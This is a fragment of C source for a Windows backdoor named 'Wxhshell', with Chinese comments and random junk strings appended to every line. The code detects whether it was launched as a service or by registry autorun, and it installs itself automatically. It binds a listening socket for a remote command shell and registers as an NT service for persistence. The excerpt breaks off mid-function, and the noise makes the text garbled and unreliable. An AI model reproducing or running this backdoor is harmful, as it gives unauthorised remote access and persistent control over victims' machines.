DWORD BasePriority; :\y' ?d- Q
ULONG UniqueProcessId; @[Q`k=h$
ULONG InheritedFromUniqueProcessId; R'" c
} PROCESS_BASIC_INFORMATION; qdxaP% p2
qwO@>wQ}~
PROCNTQSIP NtQueryInformationProcess; `3@?)xa
l[rK)PM
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; &So1;RR,_M
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; gYe6(l7m
B&6lG!K'?
HANDLE hProcess; !Lw]aHb
PROCESS_BASIC_INFORMATION pbi; T k@ ~w
FYK`.>L28
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); RgZ9ZrE\
if(NULL == hInst ) return 0; d[XMQX
Yy6$q\@rV
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); E%Ww)P
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ? Dn}
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); \Pcn D$L
(OA4H1DL^
if (!NtQueryInformationProcess) return 0; 1Kd6tnX
C\B4Uu6q
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); / :6|)AW.{
if(!hProcess) return 0; u8M_2r
-Tn%O|#K
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Hmnxmgx
ZY@ntV?
CloseHandle(hProcess); }r!hm?e
KSHq0A6/q%
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); }}D32TVN
if(hProcess==NULL) return 0; /?($W|9+l
kX8NRPW
HMODULE hMod; * ^V?u
char procName[255]; ]}p<P):hO
unsigned long cbNeeded; b6p'%;Y/
ivyaGAF}+o
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); "Mhn?PTq
9y<h.T
CloseHandle(hProcess); -'SA&[7dP
e<[ ] W4"A
if(strstr(procName,"services")) return 1; // 以服务启动 >[;=c0(
HIx%c5^
return 0; // 注册表启动 z^z`{B
} 5t"FNL
<(M
?r@^9
// 主模块 7D4tuXUq2
int StartWxhshell(LPSTR lpCmdLine) 0U H]
{ -; J6S
SOCKET wsl; Rn]xxa'
BOOL val=TRUE; py+\e"s
int port=0; Y]](.\ff
struct sockaddr_in door; G$%F`R[
9 <{C9
if(wscfg.ws_autoins) Install(); :tI
F*pC
%.?V\l
port=atoi(lpCmdLine); XM,slQ
X8R`C0
if(port<=0) port=wscfg.ws_port; RjVmHhX
w,$qsmR
WSADATA data; 7GWOJ^)
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; CxZh^V8LP
[/%N2mj
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; zsJermF,O
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); K,$rG%czX
door.sin_family = AF_INET; / of K7/
door.sin_addr.s_addr = inet_addr("127.0.0.1"); TlRc8r|
door.sin_port = htons(port); F=
%A9b_a
7B (%2
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { W)/^*,
Q7
closesocket(wsl); tiHR&v
return 1; >m..
} I
"~.p='
H(r D*R[
if(listen(wsl,2) == INVALID_SOCKET) { pDSNI2
closesocket(wsl); l-l7jq]R
return 1; 8.Y|I5l7G
} yxo=eSOM
Wxhshell(wsl);
mPk'a
WSACleanup(); AyOibnoZ2E
W ';X4e
return 0; ,3y9yJQa*#
>MYDwH
} ;'= cNj
Zo yO[#
// 以NT服务方式启动 So'.QWzX
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) a4=(z72xe
{ (rkg0
DWORD status = 0; ,1$F#Eh
DWORD specificError = 0xfffffff; HOF$(86zqA
\/o$io,kV
serviceStatus.dwServiceType = SERVICE_WIN32; RbXR/Rd
serviceStatus.dwCurrentState = SERVICE_START_PENDING; gtZmBe=
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ng"=vmu
serviceStatus.dwWin32ExitCode = 0; hN
&?x5aC>
serviceStatus.dwServiceSpecificExitCode = 0; q1( [mHZ
serviceStatus.dwCheckPoint = 0; cN8Fn4gq
serviceStatus.dwWaitHint = 0; ;54NQB3L
U5OX.0
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); &|~7`
if (hServiceStatusHandle==0) return; =I@t%Y
D5D *$IC
status = GetLastError(); 0!_?\)X
if (status!=NO_ERROR) ,0. kg
{ zqo0P~
serviceStatus.dwCurrentState = SERVICE_STOPPED; yXJ25Axb
serviceStatus.dwCheckPoint = 0; h<`aL;.g
serviceStatus.dwWaitHint = 0; JfIXv
serviceStatus.dwWin32ExitCode = status; 8b)WOr6n
serviceStatus.dwServiceSpecificExitCode = specificError; .qO4ceW2-~
SetServiceStatus(hServiceStatusHandle, &serviceStatus); og5VB
return; C,Nf|L((6
} +*]$PVAFA
Cp6S2v I
serviceStatus.dwCurrentState = SERVICE_RUNNING; 5mD8$%\8
serviceStatus.dwCheckPoint = 0; ApXf<MAy
serviceStatus.dwWaitHint = 0; d8wVhZKI"
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); cMXv
} O -1O@:}c
d-D,Gx]>$
// 处理NT服务事件,比如:启动、停止 xR/CP.dg
VOID WINAPI NTServiceHandler(DWORD fdwControl) -AdDPWn
{ <\~v$=G
switch(fdwControl) oLT#'42+H
{ *9^8NY]
case SERVICE_CONTROL_STOP: si]VM_w6
serviceStatus.dwWin32ExitCode = 0; oAQQ OtpZN
serviceStatus.dwCurrentState = SERVICE_STOPPED; d_@
E4i
serviceStatus.dwCheckPoint = 0; wtY)(ka
serviceStatus.dwWaitHint = 0; :o>=^N
{ tDX&